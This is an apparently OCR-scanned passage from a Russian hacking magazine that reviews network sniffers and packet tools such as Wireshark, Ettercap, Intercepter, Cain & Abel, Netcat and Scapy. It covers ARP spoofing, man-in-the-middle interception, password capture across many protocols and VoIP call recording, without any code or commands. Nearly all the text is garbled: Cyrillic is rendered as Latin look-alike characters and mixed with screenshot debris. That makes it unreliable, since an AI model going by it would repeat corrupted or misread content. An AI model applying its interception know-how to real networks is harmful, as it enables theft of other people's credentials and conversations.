BOCn0J1b30aaTbCSl TC!Kl-1Ml-1 yMonoMpa'Il.1Te.nbHbIMl.1
CTblO l-1 npoCTo 6aroB. MHOrl1e MOl-1 3HaKOMble
>1!l>1 >13 3apaHee nONOTOBneHHoro ,o.aMna Ha Al-1CKe.
B03MO)KHOCHIMl-1.
3AMl-1HbI ycneWHQ mam 3TOT CHl-1epep AJl51
To.
HaCKonbKO OH YAo6eH - Bblwe BCRYeCKO~
MOHI-1Topl-1Hra aKTl-lBHOCT>1 >1 peu.:eHl.151 caMbiX
TCPDUMP WWW.TCPDUMP.ORG *NIX, ECTb nOPT nO):1 WINDOWS
nepexaara naKeTOB l-1 I.1cnOJ1b3yeMbIMl1 >13SeCT
onpeAeneHHble At]>l AaHHoro npOTOKOna nOHflTHbie
Ha3SaHl.<1e 3TOro CHl-1epepa 3HaKOMO Ka>KAOMy.
HblM cKaHepoM nmap 11 ApyrltlMI1 TymaMI'l.
nOl1S<, a BlOKe 01CT€Ma ¢VlJlbTp08, 1.136asJ151IOll..\a51
Ellie 6bl:,[\0 nOS'lBneHl.1~ Ha CLJ,eHe Ethereal'a
nOXBal1bl: Tbl MO)l(eWb c8060AHO nepeMell..\aTbc>! no Beet! OTOIl-1¢aHHOI1 >1H¢e. npOeMaTp"'safi AaHHbie B TO~ AeTonl-13aL\V1V1. KOTOpa51 re6e H}')KHa. rnaSHble K03bIP'" - 3TO aSTOMaH1yeeKl-1i1 pa360p naKeTOS Ha
OT npoeMOTpa aeero nOAp51A. Kompa>! oTo6pa
{Wiresharkl Of'! CY>1TaJlCS'I CTaHAapToM Ae~4laKTo.
>KaeT JlV1Wb TO, YTO Te6S'1 MO)t(eT 3al-lHTepeCOBoTb.
,Qa ltl Tenepb MHorVl€ no np>18blYKe lo1CnO.Jlb3YIOT
nOeneAHl.<1€ sepCl-1\o1 Wireshark pa,DyIOT npop,S>1
ero. anOnHe paAY51Cb %>13HVl. ,D.a. y Hero HeT
pa3Jl\A4Hb1X ceTeSblX np06JleM. V1cxDAHble KO.Qbl TCPDump yaCTW-IHO I.1CnOJlb3yKJTC" 6Vl6Jll.10TeKa MVl LibpcapIWinPcap. npeAH83Ha4€HHbIMl.1)J,JlR
ETTERCAP ETTERCAP.50URCEFORGE.NET nJlATcDOPMA: *NIX, WINDOWS, MAC OS
hyrblMl-l MexaHVl3MaM>1 ,D/lR aHaJ11-13a r01l0COBOro
KflaCCHoro GUI-l-1HTepepe(1ca ltl B03MO)/(HOCH1
rpaepl-1Ka VoIP. a raK>Ke ,o.eWl-1¢pOBKoi1 TC!Kl-1X npo
aBTOMaTlo14eCKl-1 pacnapcVlTb p,aHHble nonyJ1l1pHblX
nOMH>1TC", KOr,o.a Mbl snepBble paCc.-::33bIB311Vl
1OKOn06 KaK IPsec. ISAKMP. Kerberos. SNMPv3.
npOTOKo.nOB, HO :no. B flIo60M cnyYae, OTfl>1'"lHOe
06 ARP-cnyepVlHre !npv.eMe, n::>3BOllp.lOll..\eM CHl.'1
SSl/TLS. WEP.
cpeACTEo, t.Ho6bl OTCHl-lq>aTb B JlOKal1Ke Tpa¢IIlK l.1
q>aTb Tpa:rI1K B flOl<anbHblX ceTnX. nOCTooeHHblX
~
036
l-1 WPAlWPA2, Ha nen; pacw\Ilep
XAKEP
os
/125/ 0'
"'I'..<OP <i'Il...I>O"OOl
_
,'._li(ii
..........
."
II
' ,
.",_.poo' ."'_..t......
.,
', ,o,'"
",..,.. "". 'n,", ~
• ":.:-:::.':":::' ,'::::"'
_ , It.. ",..,. ""
("''''".""",,,, , '""". ,("'.,,, .•. ,, , _
i"'l.
' " 0 0 . _...._.. _.
'''''"'y
" ....""'.,,, ARO
l.l
'no,,;! '"' "'""'..."9 11. . IU<<O"
',0
_
L.O
"'-"'.~,
'f""O".
.~''''''l'I ... I'''''on. .._ ' ' ) '.I"".....
1,0
• ....,,11 <_100M
1,0
5
4
'E:::~r:"''' ABTOMAHI"lECKHiiI PA360P 60J1bWHHCTBA npOTOK0J10B H CHCTEMA «l>HJ1bTPOB - rJ1ABHbIE K03blPH WIRESHARK
~
I .
I'
:::~:::::~ --~-~d'
__
.• ,__",
:::::;':.:::::'.~'"J:'~
•
!
2JplJ'l"'>'l
I~ ~,
)l ","'..00 .h,,<"'" 46 .... ,""'''''0<~
KOHCOJ1bHbliil CHH«l>EPTCPDUMP
\
. ,~
,no ._,
,"
·"~·· TO~_" ~·_·~
",,'.1..,.
:
•.•,.".., ~''''''.W<h..
1,0
EM
,
do" rtOiOO.
f""_1>
Wi
--1' i
1.1
...,..".,.
_ _0""'"
U
~~
PA3PA60TKA ETTERCAP 60J1bWE HE BEAETC5I. HO «l>YHKl\HOHAJ1b HOCTb BCErAA MO>KHO HAPAC THTb C nOMO~blO nJ1ArHHOB
Ha C'-tIo1TilXl. TO B KayeCTBe c.HLiI<j>epa npIo1MeH~JH.1
MHO>KeCTBO y6V1iiicTseHHblX reXH0f10rlo1ii: 4era CTOI1T
HO.
LilMeHHO Etlercap. CaMIo1 pa3pa6olYLilKIo1 np0.L\BIo1
O,o,VlH TOJlbKO «eXtreme mode». CHl-1q.epy ~OCTcl
YT01f1V1ry C 1000 VI 0AHIo1M npl.1M€HeHl1eM. B caMOM
RIOT CBOH npo,o.YKT KaK Cpe.L\CTBO).l,Jlli cosepwe
TOYHO 3aA8Tb u,ef1esoi7l npoToKofl 6e3 yK83aHIo1>l
npOCTOM Sapil1aHTe Netcat n03BOJlfleT C03,D.aBaTb
IH15l aTaK man-in-the-middle. YTl.1Jll>iTa nO,(lJ.\ep
nopTa - Ox4553-lnterceptcr 6y,QeT npocMaTplilsaTb
TCP VI UOP coe.£\I1HeHIo1~, YMeeT«CJlyUJaTb» BXO.QSl"
~l>1SaeT CHI>1q.ViHr B pea11bHCM apeMeHiI1, cl>l>111bT"
seCb Tpaq>Io1K 101 aBTOMaTl14eCKlil «Sblf1aBJlIo1BaTb»
l1\lIIe coe.£\IilHeHIo151 [MO)KHO npL1Ka33Tb Tyme ;>KAalb
palJ,\>l1O KOHTeHTa «Ha fl8ry". ':1H>KeKL(LilfO naKeT013
naKeTbI. OTHOC51l1\l1eCSl KAaHf.lOMY npoToKofly [nYTeM
coeAV1HeHlil5l TonbKO CYKaJaHHblX T060L:! aApeCOB 1-1
l>1 MHorLile .L\pyrllle Io1HTepeCHbie Tpil1KiI1. Y4TI1. 4TO
aHanlil3a Io1X co,aep>I<Io1Moro). 3ra ¢iI1ya n0f1e3Ha AJm
,qa)l(€ nopTOB!!. MO>l<eT CKaHl1pOSaTb nopTbl. pa3pe
B pe3Yf1bTaTe.
nOflyYaeM O~HY e,qlllHCTBeHHYIO
no Aeq>omy nporpaMM3 8blnO,l,H1eT MHo::t<eCTBO
SblSlSf1eHIo1S'1 Proxy.. 101 FTP..cepsepos (oCTaf1bHbI€
waTb DNS-3anpocbI, nOCblf1alb f1106bl€ KOMaH,qbl co
fllo1WHLilX Ae~CTBV1~ (Hanpv,Mep, dnS-pe30f1BI1Hf
cepslo1cbl pa60TalOT C 60f1£€ wnVl MeHee npeA
CTaH,qapllmro BBO,D.a.
Haii,o,eHHbiX aApecosl. KpOMe TOra, aKn1BHblii
CKa3yeMblMl1 nopTaMVl]. TaK lt1f1V1 VlHa4€. MO>l<HO
npe.neneHHble ~ei1CTslo1fl s OTlleT Ha coe,o,Io1HeH\I1€.
arpoisonlng 1-1 HeKOTOpble Apyrlile j:\e'fCTBLilfl MOryr
BblnOflH~Tb
3apaHee npe,!J,o
npocMoTpeTb BeCb Tpa¢VlK S 4i1CTOM lrawlslo1,Qe. HO
KOTopoe CllywaeT {<KQT€HOK» !J10rOTVln HeTKaral.
1il3.o.eCb MQ)j(HO 06n8r'1Io1Tb ce6e >l<1013Hb, Ha110>l<1>I6
AellaTb Hex-.£\aMn ompaSJle~Hr,lx iI1 nOJ1Y"!eHHblx
ettercap. EC.'ll-1 TO\lHee. TO ,o,a)!{e 13 C3MOiii npo..
fia oT06pa)j(aeMbH1 KOHTeHT fieKoTopble npaBlilf1a.
,!l,3HHbIX la SOT VI cPYHKLI,iI1Vl CH\I1¢epall1 MHOro..
rpaMMe BCTpOeHa <j>yHKlJ,YlP 06Hapy>KeHlil51 ce6e
Harpa6f1eHHbli1 Tpaq>lilK Mo::+::eT6blTb coxpaHeH 13
MHoro yera ew,e. 8006w,e, Netcal 3TO MOW,"
CKo~,npOMeTl-1pQBaTb
nOA06HblX
XaKepa. l>1cnOJlb3YIOw,ero
:l. B Ettercap npeAYO.lOTpeHa 803MO.>K..
HOCTb nposepKLiI. HaXOAlilWbCR 11101 Tbl 8 flOK3flKe
pcap-¢opMaTe Icr<lHP,apT ~8-¢aKTO cpe.n101 cHIo1q.¢e..
Hei1w~e
posll1 nOA6eprHyr AaJlbHeCiweMy aHaf11013Y, Hanplll"
pa3f1Io1YHbIX yA38V1MocTei1, nOCKOf1bKY n03BOJ151eT
cpe,qCTBO 1'J,J1~ OTf1a,D.Klil L1 3KcnnyaTCIL~1011o1
co CBl>1TY3Ml>1 10111101 heT lcei7lYac 3T O Y>K€ nOYH1
Mep, 13 Wireshark K TOMy >l<e. caM CHIo1q.ep Io1MeeT
yCTClHOBVlTb coe'£\lJIHeHlt1e f11060ro nlOa. KOTOPbl~
He aKTY<lf1bHOl, a laK>I<e BCTpoeHO epe.o.CT80 IJ,f1>1
Bce 3a,aaTKV1 AJl5l oflijne..aHaJlI13a. nOMep)f(I1SaerCR
leGe Hp<eH. 0plo1fl1HallbHa51 BepCIo1S'1 NetCap 6blf1a
flOgerprinfa. KOlopoe aI(TiI1BHblMVl VI naCCVlBHbIMI~
B03MO>l<HOCTb y,aaf1eHHOrO 3axsaTa Tpa¢V1Ka
SblnYl1leHa el1\e B 1995 roilY. HO. ~ecMoTpSl Ha
MeTO~Io1KaMIII
nocpe,aCTBoM RPCAP-AeMoHa. 06bl4HO YCTaHas ..
6eweHylO nonyf1RpHOCTb npO€KT. He pa3SVlsaeTCSl.
fll4BaeMoro Ha Wf1103 nOKaf1bHoi7l ceTVI
Ho caMa KOHlJ,enU,lo15l nporpaMMbl, cOBMew,afOw,aSl
MO>KeT onpe,D,eJlIl1Tb pa3HI>Ie ,Qesai1
Cbl. OnepalJ,MOHKVI Ha XOCTax 1-1 o6lilY~ cxeMy ceTIo1.
OX4553-INTERCEPTER INTERCEPTER.NERERU
nJlATCDOPMA WINDOWS NT(2K\XP\2K3\VISTAj
11
rpa6flll.\€rO
seCb lpa¢\.1K Ha BxoAe/sblso,o,e BO «BHewHVli1,)
npeAenbHylO npoCTory l'I. B TO>Ke SpeM\1, orpOMHylO
Mlolp. nOCKOf1bKY Wfl103bl Hepe.£\Ko Bpaw,aIOTC>l nOA
¢YHKlJ,1010HaflbHOClb. nplo1BeJla K nO>1Gf1eHVlfO APYfl.lX
ynp<JBJ1eHV18M Linux'a i1f1i11 xBSO, TO RPCAP-AeMoH
peaJlVl3aUIo1i7l. O.£\HOt! iI1J caMblX lt1HT€peCHbIX CTaf1a
OKa3bISaeTC>1 seCbMa n011e3Hb1M nOACnOpbeM.
Socat. KOlopaSl ,qonOf1H~eT 0plt1rVlHaJlbHbU1 Netcat JlO,D,ll,ep.>KKiI1 SSL-WiI1q,poBaHIo1Sl. SOCKS npOKCl'l
nOMVlMO YV1CTO cHwtJepHblx ¢YHKU,lo1iii. Ox6553
jJflSl
A SOT Vl OTeyeCTBeHHa5l pa3pa6OTK8 - CHIo1¢ep
Intercepter 06f1aAaeT Ha6opoM BeebMa C06f1a3HIo1"
III T,q. C He MeHbWVlM ycnexoM ee MO::+::HO 103aTb
Intercepter. \11 no COBM€CT1IITeJlbC"TBY - rB03,D;b npo~
TeflnHblX ¢W4. Ha4HeM C 6aHaf1bHOrO o6HaPY-'t'clIlIIR
KaK COKCVl¢aep, 6e30nacHbli7l TyHHe1lJlep. CHVoq>ep
Y3flOB 13 ceTIo1. KOTOpoe ocyw,eCTBll5l€TC5l OTHIOAb
lt1 1..0.. nOMiI1MO :;noro, eCTb Neat. npeAOCTaaJl51IO"
MIT ,wm nepeXBara Tpc¢Io1Ka. co06Ll1eHiI1C1 VI napo ..
He tynblM CKaHlo1poBaHlo1eM Ip.. ~peCOB. B Hy>KHOM
w,l'If1 ,o,onOflHI-nef1bHble 4lyHKU,l'lIo1, a lclK>Ke ryptcot,
Jleiii/xeweiii. ~OCTYnHblx B ny6f1Io1YHQM Aocryne. 4TO
Alilana30He. OxA553-lntercepter nOCblf1aeT W"lpOKO
Netcat6. PNetcat. 580 101 Ap.
rpaMMbl!
yt-1eeT?
3TO OAHa 1>13 caMblX nporpeCC"lBHblX yTil1
8 nepBY!O 04cpe,o,b,
nepeXl3aT~lBaTb napOf1"l
Bew,aTe11bHbliii ARP-3anpoc. Tpe6ytl. YTo6bl Bce
CAIN AND ABEL WWW.OXID.lT/CAIN.HTML
101 xewVo AIl5l CflelWIOLiI,VlX npOTOK0J10B: ICO, IRe,
y3f1bl, KOTOpble era nonyYlo1fll.1. coo6w,wf1l.1 C80101
AIM, FTP, IMAP, POP3, SMTP, lDAP, BNC, SOCKS, HTIP, NNTP, CVS, TElNET, MRA, DC.., VNC,
IP-aApeca. npIo14€M. Ox4553-lntercepter cnoc06eH Bbl5lB11SlTb ,npyfl.le CH>1¢epbl. OHCP DISCOVERY
nJlATCDOPMA WINDOWS
MYSQL, ORACLE. ,[l,pyroi7l Ba>l<Hbl'f ¢YHKlJ,VlOHall
n038011SleT 0CYUJ,ecTsVlTb nOlt1CK OHCP-c8psepos
EClll1lo1ll.1ewbyrlo1JlIo1TY AJ1Sl 80CCTaHOBf1eHVl~ sce
- nepeXSaTb:BaeT caMbie pa3mNHbie co06U\eHIo1I1
\I1HTer-pl'lpOSaHHbli1 nepenporpaMMaTop MAC
603MO>KHbIX naponeiii. TO f1yywero I-1HCTpyMeHTa,
C oTo6pa)l(eHl1eM J],Vla,10i"d S peanbHOM epeMeHIo1.
a~peC06 n03S0J15leT 6blcrpO nOMeH51Tb MAC-aAPec.
nO>l<af1yiii. He HaI1TI-1. B 6yKSaf1bHOM CMblCf1e «yHIo1"
° MOAYf1e ARP POISON -
Ha TeKYl1\wi7l MOM€HT CHIo1q.epOM nepeB<:lpIo1B3IOT
~ Y)j(e He roSopfO
CI'I CJleAYIOl1\Vle npOTOKOJlbl; ICO. AIM, JABBER.
caMO co60i1 pa3YMelOl1\eeC5l.
:'HO
YAHOO, MSN. GADU-GADL!, IRC. MRA. Ho 3TOT cnlo1cOK He rJl3Bt'oe, BeAb Intercepter - 4yrb f11-1 He eAIo1HCTeeHHbliii ViIiCTPYM€HT. nC,DAep>KiI1BalOll.\iI1M YHVlKOA. a nOToMy npaSlilflbHO oTo6pa)+(8eT Klo1pil1n Jl\<1L.W raM, r,[le 3TO Heo6xo,!J,iI1Mol
tJ.a ';1 '1era TaVlTb,
NETCAT NETCAT.50URCEFORGE.NET
'NIX, ECTb nOPT nOLI WINDOWS
SepCaf1bHbli7l COf1AaT» rOTOB Ha 8ce. AonyCTlilM. Te6e Hy>l<HO 8cnOMHIo1Tb napOf1b
\1\
f1lt14Hble
,o,aHHble, coxpaHeHHble 6 6pay3epe. He npo· 6f1eMa l Knl'lK no Hy>KHoi7lIo1KoHKe ~ L1 OHIo1 TBO\.1! V1HTepecyewbC5l naccaMIo1. KOTOpble HenpepblBHo nepe,q8fOTCSl no T60et! f10KaJlKe lLil. Clle~OBaTeflb~ HO. t1X xopowo 6bl wlo1q.poBaTbI? Bocnoflb3yi1cSl
npLilS€AeHHblt! cnVlCOK e~Ba flV1 MQ>I<HO Ha3BaTb
Csoeo6pa3Hblt! UJB€i7lu,apCKVliii HO>l< ll106oro B3110M
SCTpoeHHblM cHIo1¢epoM npaB,D.a. nOHaA06lilTGl
nOJlHbIM. nOToMy KaK nepeXSBTbISal-:JTC51 eLUe
W,Io1KCl. 3Ta ype3Sbl4aiiiHO npOCTaA yrlilJ1ll1Ta n03BO"
.£\pai:1sep WinPcap. HO He 6e.£\3 - B CJ1Y4ae H806
C006l1\eHVlA GTalk ~npOTOKOf1 nOCTpc8H Ha Jabber!.
f15leT YI1TaTb 101 nlo1caTb ,o,aHHbl€ 8 TCP Vl UOP COeAlIl·
XOAVlMOCTIo1 Cain & Abel3alo1HCTaJlJllo1T ero np51Mo
a TaK.>Ke Mail.AreHT,
HeHlo1flX. \I1HblMVI Cf10SaMVI, Netcat nOJBOn5leT Te6e
BO BpeMfl yCTaHOSKIil. A ,nanee - ,o,eJ1a~. "TO
coe.£\l'IHVlTbCfl C yeM yro,qHO, Aa V1 Aef1aTb 'lTD yroA
x04eWb 3aM€4Y. 4TO ,o,eJ10 He orpal-lWYIilSaeTCA
aflbHO.
XAKEP
YTC
MO::+::8T 6blTb seCbM3 aKl)'
B apceHafle Ox4553..lntercepter Io1MeeTCS'I
05 fl2S1 09
~
037
~o
II·~ N.." " " ' _
•• _.
UNO~
OIlCFOc....v.._
_!P'"
_(;000.<.
--,-,,,,-,,:-::
,QI~II'lIl).';{_:DfSOEIG_~il'o«_':",,*,,'''''''-''''1·'''_-'l!l2I""''i'''5 ,
--
• -o>o'k"",--
I AAPS<.r~ ! ,:~~ f ,,, 1&11. I OIICP~ I O~ .... "_... DtlSs-"
.....il ~ ~ '~2····.. ,r-
.....• _ - _ .
...........
O:::D
~
lb
I
N._II"",
•
0_
-'
m
.••_..
l_o~l.lI1!12,\IlI,O 101 ilg'l_lA..:..~J.rw~25'lOlj$lloO'olO'Ol
il.~.1 ... Ll1'
n-l)-l~·dtl [In~ij,l
1
{oo-..... ' [1".1M.l·'''I' (OIl-l'-U"71·~·7'1 ' (1"""1]
: lOO·ld·U~7__"1 ' (1"""ll
un_16~.l."ZI
~
I I
>< ••• "
0""'>'" ""'''~'
cepSVlCOB,
,,[ ""'00 1 I. " ..... _.. eof.) f •• ~
I "P""' '""tlOO
;oho>"o~
,, -~
I Sb<"""'- !~
nOMI1MO CHI1C1>I1HrA, INTERCEPTER I1MEET PSlAAPyrl1X >:4. n011E3HbiX YTI111I1T: HAnpI1MEP, n0I1CK>KI1BbIXY3110B C no MO~blO WI1POKOBE~ATEl1bHOI1PACCbll1KI1 ARP-nAKETOB
<-'OOO<,U)
'"
•• o~,·.,~
I
1 {l"'~"
(f", " "...
,~,"" ••'".,,' _~~
,~O<
fdrt"~.",",.,)
~~:?~5~::~~~ ::~s:;::.':;ttIS. "f2:
~ ~~~"".Y
O •••
Mh, 10<0 ••• 1 to,· 110<0 «of. po." ',,"",. Ii" .., h . ;n"",,,od ooono'" I"f'" to....·,,·, .. -1', .." ".. ·.o,·~"' ,I" ""ncr'o ""I, I~ 'o/"«'~" 00 ~'"
_"<.
""et ,,,,if,.,
h. . _..
.'",
10,.1 I'." """h<o~ .,•• d'M," loeol .,"d ,,""Q« 1••'"' ,.h... ,·~ rt"" .. ·.. ,
..n'....· IfLNH 0..'"'''''°0
UW ""~~
• .t ••
o...;.:ilAt .
. ; ; . . ._.
0>
'0
" fO"
I OOIl>m;;OOO 10'110 ,a..-! ~ ~U%i .:."'~ -~
O,QHl.1M nepexsaTOM naponee; oT SC€SO)MO.>KHbIX
. ,"lo~,«1
<l.'rtoh f,u" ' ..... ,,' •.
1113 I ~.
I
"1 .. ~_
~ 'eo' ,e ~ .. :~~ ro.
'TQ~ ~-'I ~ ~
,',
\
'~l
... :]OJXJ
7 C:IWI/4){)WS\S.,.'...3l1c>nd ....
.:c~~
"~."
'co " ,.. _". _...."""".'do
..... ,0.'
<
n~nl.. ,.,
t."
~
'."'_"." r.. ,~ , .. 'in<.~< 10,· CO""~<", .,"d "0,1 0" h,,,l. I",...' f ... '.""",,,",1
'.'n·(/()
t .• ",d.v ;.:...~(
0, .. "~'"
h 0 (;h' 'u, "'0 1
WBElI1l.\APCKl111 HO>KI1K XAKEPA - NETCAT
~
HTIP. SHTP, FTP l.1 T.A_ VlCnOflb30BaTb ee
Ivm
BbISlBJ1eHI'1s:l
Ha4V1Ha~ OT 6aH8nbHbiX FTP/POP3 III 38K8H4111Ba>l 3K30THKO~,
3HOMJnbHO~ aKTI-1BHOCTVl B CeTIol [BVlPYCbl. '-!epBVll.1 T.,(t.J l.111l.1
Bpo,o,e KJ1104ei1 ,D,J1s:1 Radius-cepeepOB, PeallbHO nepeXBan1Tb
nepexsaTa AaHHblX 1-13 aBTOpVl3al..ll111
HTIP.
FTP -
HeSa)l(HO.
lII.o.eHn1epIllKa~l.10HHble.o.aHHble VI caMVI pa3rosopbl K)ll.1eHTOB
.~
VoIP-TeneepOHl.1V1 (HO TOllbKO, eCllIll Vlcn0J1b3yeTcl'l SIP-npOTOKOIlI
~
liIJlIll.o.a)Ke naKeTbl C roflOCOBblMIII ,(taHHbIMVI. Vl3 KOTOpblX
links
HeCJlO~HO
Vl38Jle4b 3am1Cb pa3toBopa C nOMOw,bK)
cne~l1
nJlATQ)OPMA *NIX, WINDOWS 3Ta KDHCOJ1bHJs:lTyJl3a Ans:l Pa350PKIo1 ceTeSblX n8KeWB. l.1X MO,al.1'
• KnaCCHbliil MaHy8Jl
81lbHblX KOHBepTepOB. 4T05bl He 6blflO np06fl€ M
no NetCat: ~a~,-.r_l..~l
npora OTJlWlHO BJlaAeeT npVleMOM ARP-cnyepl.1Hra. YM€ J lble
au/M SWIIlJ1o'NS/html Inc.htm,(.
MaHVlnYJl>1L\IIIVl C MAC-aApecaMVI 1-1 3arOJlOBKC!Ml.1 naKeTOB npVl
S TeCTlllposaHloll>'llDS, ¢ai1pB01l0D l.1 ceTeeblX p,eMQH08, 511aroAaps:l
BOA51T K pe3YJlbTaTBM: CHlIIepep pa60TaeT nO'-!TV1 6e30TK83HO
pa60Te '-Iepe3 KQH(OJlb. Nemesis nef1<.O npVlcnoca6JlV1e3eTCSl K
• VlHCTPYKlV·1>l
no
co CBVlT'-!8MVl •
15 BcTpoeHHblx 25 TV1nOB xewei:1. npo
[XOTIl :no naJlV1TC51 .nI05bIMV1 IDS). C nOMOlll,blO
& Abel
3anyCKy Scapy nap,
yTVlJlI-1T Cain
Windows:
seCTVl VlCClle,aOS8Hl-1e 6ecnpoBo,aHoL7i cell1. a T8K.>Ke 8b1nOJlHl-1Tb
t!'al:.,;;;,t:;.~dev,org/
ew,e LJ,el1bH:i p>1,Q YHI1KC1JlbHblX ,ll,ei:'icTBI1i1(H8l..1eJleHHblx. npe>KJ:1e
Zi3py!v.",kl/
scero, Ha no,a60p l4fll,ot paCWl4BKy n<:lpoJlei1).
MO>KeT 83J10M8Tb
Windowslns ta lli,:ttlQIl
NGREP
G1ili1~.
NGRE~SOURCEFORGE.NET
€) , dvd
.!
NEMESIS NEMESIS.SOURCEFORGE.NET <t>Io1Kal..lltllo1lo1.o.anbHe~wei1 I-1H)f(eKl..IliIliI B CeTb He pen BblpyYafla MeHSl
llJ06blM CTOpOl·IHVlM cKpl1m.1M AflSl neH-Tecra. OPlo1rMHaJlbH3Sl Bep CIo1Sl MO)l(eT pacnapcltlTb ltll.1H>KeKTIo1p0eaTb npoV1380Jlbkble naKeTbl
ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP" UOP
HPING2 WWW.HPING.ORG
nJlAT<1JOPMA *NIX, MACOS X, WINDOWS
nJlATQ)OPMA *NIX, ECTb nOPT no):\ WINDOWS
np0l.13BOJlbHble ICMP,
YTO TaKoe Ngrep? 6epeM 1013BeCTHYJO HVlKCOBYIO yTVlJl""Y grep
)I(.1Tb OTBeTbi Ha HI-1X. OTnpasV1Tb raKo~ naKeT He CJlO>KHee. l.ieM
BOT ew,e O,l\Ha MI-1Hl-1anOpHaSl yrv.mna. n03so11RIOU\851 OTCblJ1aTb
UOP. TCP
l.1 RAW·IP n.1KeTbl 101 oT06p.1
!ly. '-ITO H.1XO,ll,l.1T Ha BBo,ae CTpOKVI. OTBe'1atOw,Vle 3aAaHHOMy
nponl1HrOSaTb HY)l(HblL7i XOCT. VlHTepepeL7ic nonHOCTb.Kl nepe-
peryJlSlpHoMy Bblpa>KeH\IIIO. Vl BblBOAliIT Io1xl Vl HaTpaBlll.1SaeM
HSlT
ee Ha ceTeso~ Tpa¢VlK. TO'1HO T3K )I(e, KaK BbIBO,a Ha KaK)'lO-
lo13Ha'1aJlbHO Tyf13a 6b1na pa3pa6oTaHa B Ka'-leCTBe 3<lMeHl.>I
TO KOMaHAY MO)l(HO Orp3Hl1'-!l1Tb CTpOKaM\II C onpe,l\eJleHHblM
CTaHAapTHblM ping/tracercute. pa6CTa KOTOpblX '-IaCTo 06naMbJ
CO,l\ep>Kl.1MbfM, MO::KHO q,Io1JlbTPOS3Tb \II TP8epVlK. Ngrep n03BO
BaeTC51l.1J-33 epa~pBOJlOB. nOJTOMy B Hping2 no YM01l4aHlt11O
y Jl106VlMOrO
Ping'a -
OTCIC,qa V1 H.13Bal-llo1e nporpaMMbl.
YnOMI<HYTble B CT8Tbe
I1SleT Bbl,o,ellVlTb \113 nepeXSaYeHHOrO Tpa¢lI-1Ka flt06ble AaHl-lble,
eCTb npO,(tDIo1HyTbl~ traceroule !Jt pe)j(lt1M lP·¢lparMeHTau,lt1l1.
yT\'1mnblll1 x-tOOlZ'b1
OTSe'-lalOLl\lo1e pery.n>1pHbIM Bblpa)l(eHl.1SlM, Ngrep nOHVlMaeT
Tymy ~aCTO VlO!Ollb3yIOT An~ nposepKIo1 l'!aCTpol:1KliI ¢af.ipsD1l8,
Heo6~)aTenbHOKa4aTb
IPv4/6. TCP.
vB
HOJlOrVl51M [PPP. SLIP, FOOl. Token Ring). TpaAVll..Ilo1OHHO ngrep
V1HeTa: OHVI eCTb Ha
HaweM
OVO!
UOP.
ICMPv4/6, IGM no Ehetrnet"y Vl,apyrl1M Tex
fingerprinfa lot CKaHVlpOeaHI1R nopTos
\11.
1<0He'-lHO .>Ke. JlpOCTO
,D,J1R ornpaBKVl B CeTb Hy)KHOro naKeT.1.
V1Cn0J1b3yeTcSl JVl>1 aHaflVl3.1 TeKCT08bJX npOTOKOJlOB. Bpo,o,e
I1HTEPAKH1BHOE MAHl1nYl1lll.\l1ll CnAKETAMI1 C nOMO~blO SCAPY - OAHO YAOBOl1bCTBI1E
NETWORK MINER NETWORKMINER.SOURCEFORGE.NET
nJlATQ)OPMA WINDOWS A06pOTHbll:1 CHVI¢lep AJlSl Windows, KOTOPb':~ BCI'l4eCKlo1 m·,rra€T(\1 BblBeAaTb K3K MOKHD 6011bUJe V1H¢l':>1 0 JlOK3nbHoi1 CeTI-1. Network Miner npe,QHJ3HJyeH He CTOflbKO AJm nepeXBaTa ,ll,.1HHbIX (XOT5l. 6e3ycnoBHO, DH 3TO yMeeT! -
CKOflbKO JVlSl aH81lVl3a VlH¢lpa
CTpYKTYPbl .nOKa!lKl'1 [onepau,VlOHK\.1 H3 xocrax. OTKpblTbie ceccV1V1. hostname·bl. OTKpblTbie nOpTbil-lJ Y311axl.
B OTJllo14lo1e aT MHOI V1X
YTVlJlV1T, AellaeT OH :310 l4CKJ110411TellbHO naCCi'18HO. T.e. 5e3 reHe pal..llo1lo1 Tpa¢,.,Ka, no KOTOPOMY MO)l(eT 6blTb onpeAeJleH q,aKT
,,
cKaHlIIpOOJHIo1R
Anq aH.1flVl3a DC I-la Ka)f(,!l.OM
V13 Y3110B I-1cnOJlWY
IOTCSl npoBepeHHble MeX.1Hl.13MbI fingerprint'a. 6.13bl ytV1Il\.1Tbl pOf (lcClmrufcoredump.cxipOI.,;btOiI. a Taue t-f,eTOA aHaJlV13a
OHCP
n.1KeTOB >13 Tyf13b1 Satori IhltD:/lmvvveb,cableone.ne!lmi.b1. Ec.n1-1 rOBOplo1Tb 0 nepexBaTe .o.aHHbIX, TO Network Miner CHl>'I MeT C <oeplo1p.1J> [VlJlVl \13 3apaHee no,aroTOBJ1eHHoro ,(t.1Mna 6 PCAP-¢!opMaTel ¢laI1Jlbl, cepntepl.1KaTbi. 101305pa>KeHV1>l \1 Apy-
~
038
XAKEP
os
11251 OY
fI\o~(_'_"'"
... t.o4;l:i:9:Ef +'<1 .. 't~i"A·I!!l~c"·r~-G··;··A
L
,,- _l...."..,__ --:. --==-- . . Lj·T<:;ETi:iiTJ-
l~:l
~a.uo
'WI"''' "',*:J"
_,,""'<" ,-. _....-.Oio-T.......
_",..,.,., .......",( .... ....
",,,,,",J,,,
~
IN&ABEL, nOMIiIMO nAPOllElIlliIAPyrlilX
IoIBbl4HblXAAHHblX,IoIMEET BCTPO HblE CPEACTBAAllSl rPA6Io1HrAVOIP PA3rOBOPOB IoIAAHHbiXABTOPIoI3AllIiIIiI SIP
NGREP=nPIiIB~4H~IIlGREP+CETEBOIll TPAl1llolK
rl.1e Mep,ltla, a BlOKe napO/ll'll.1 npoyylO l.1H¢>Y All~ aSTOp113au,l.1V1. nOJle3Ha51 B03MO;.t<HOCTb -
nOI1CK Tex Y43CTK08 ,o,3HHbIX, lITO
co.o,ep)l(aT KlllOyeSble Clloaa IHanpl-1Mep, norltlH nOJlb30a8T€1l111.
SCAPY WWW.SECDEV.ORG/PROJECTS/SCAPY nJlATcDOPMA: 'NIX, ECTb nOPT nOA WINDOWS
Ox4553-lnlercep!er Tbl
MusL-have AJl" ll106oro X3Kepa, npe,ll,CTaSflSlIOl1.\I'lVI co6o~
MO>KeWb np04l-1TaTb
H€f:iWYfO
nOAPo6Hee npo
MOUJ,
8 CTaTbe Kplo1ca Ka
1)'.n3y AJlI' vHITepaKTl.>10HO~ M8HlAnymU..ll'1l·1 naKeTaMlII.
cnepCKI1 ['!~'!E_k£"n..
npl.1HtlTb 11 AeKOp,V1pOBaTb flaKeTbI caMblX pa3JH1I.JHblX npo TOK0J108, OTtlen1Tb Ha
3anpoc,
